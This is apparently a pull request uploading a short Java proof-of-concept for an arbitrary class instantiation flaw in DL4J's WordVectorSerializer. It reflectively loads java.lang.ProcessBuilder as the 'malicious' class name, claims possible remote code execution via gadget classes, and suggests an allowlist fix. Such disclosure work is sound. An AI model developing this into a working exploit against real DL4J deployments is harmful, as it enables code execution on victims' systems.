Upload DL4JPoCTest.java
#1
by abbossec - opened
- DL4JPoCTest.java +56 -0
DL4JPoCTest.java
ADDED
|
@@ -0,0 +1,56 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import java.io.*;
|
| 2 |
+
import java.lang.reflect.*;
|
| 3 |
+
|
| 4 |
+
/**
|
| 5 |
+
* Proof of Concept for DL4J Arbitrary Class Instantiation Vulnerability
|
| 6 |
+
*
|
| 7 |
+
* This demonstrates how DL4J's WordVectorSerializer dynamically instantiates
|
| 8 |
+
* classes specified in model configuration files without validation.
|
| 9 |
+
*
|
| 10 |
+
* To run:
|
| 11 |
+
* javac DL4JPoCTest.java
|
| 12 |
+
* java -cp ".:path/to/deeplearning4j-core.jar" DL4JPoCTest
|
| 13 |
+
*/
|
| 14 |
+
public class DL4JPoCTest {
|
| 15 |
+
|
| 16 |
+
public static void main(String[] args) {
|
| 17 |
+
System.out.println("[*] DL4J Arbitrary Class Instantiation PoC Test");
|
| 18 |
+
System.out.println("[*] ============================================\n");
|
| 19 |
+
|
| 20 |
+
// Simulate what DL4J's DL4JClassLoading.createNewInstance() does
|
| 21 |
+
String maliciousClassName = "java.lang.ProcessBuilder";
|
| 22 |
+
|
| 23 |
+
System.out.println("[*] Demonstrating how DL4J loads unvalidated class names from model config:");
|
| 24 |
+
System.out.println("[*] tokenizerFactory = \"" + maliciousClassName + "\"\n");
|
| 25 |
+
|
| 26 |
+
try {
|
| 27 |
+
// This is what happens in WordVectorSerializer.java line 3069
|
| 28 |
+
System.out.println("[*] Loading class: " + maliciousClassName);
|
| 29 |
+
Class<?> loadedClass = Class.forName(maliciousClassName);
|
| 30 |
+
System.out.println("[+] SUCCESS: Class loaded! " + loadedClass.getName());
|
| 31 |
+
|
| 32 |
+
// Attempting to instantiate (this is what DL4J tries)
|
| 33 |
+
System.out.println("[*] Attempting instantiation via reflection...");
|
| 34 |
+
Constructor<?> constructor = loadedClass.getDeclaredConstructor();
|
| 35 |
+
Object instance = constructor.newInstance();
|
| 36 |
+
System.out.println("[+] VULNERABILITY CONFIRMED: Instance created: " + instance.getClass().getName());
|
| 37 |
+
|
| 38 |
+
System.out.println("\n[!] IMPACT: Attacker can specify any Java class in model config");
|
| 39 |
+
System.out.println("[!] If suitable gadget classes exist on classpath, RCE is possible");
|
| 40 |
+
|
| 41 |
+
} catch (ClassNotFoundException e) {
|
| 42 |
+
System.out.println("[-] Class not found: " + e.getMessage());
|
| 43 |
+
} catch (NoSuchMethodException e) {
|
| 44 |
+
System.out.println("[!] No zero-arg constructor found (expected for ProcessBuilder)");
|
| 45 |
+
System.out.println("[!] But this proves class loading works - other gadget classes may exist");
|
| 46 |
+
} catch (Exception e) {
|
| 47 |
+
System.out.println("[!] Exception during instantiation: " + e.getClass().getSimpleName());
|
| 48 |
+
System.out.println("[!] This is expected - but the vulnerability is the ATTEMPT itself");
|
| 49 |
+
e.printStackTrace();
|
| 50 |
+
}
|
| 51 |
+
|
| 52 |
+
System.out.println("\n[*] Vulnerability: DL4J loads arbitrary classes without allowlist");
|
| 53 |
+
System.out.println("[*] File: WordVectorSerializer.java, lines 3067-3069");
|
| 54 |
+
System.out.println("[*] Fix: Implement class allowlist or use safer deserialization");
|
| 55 |
+
}
|
| 56 |
+
}
|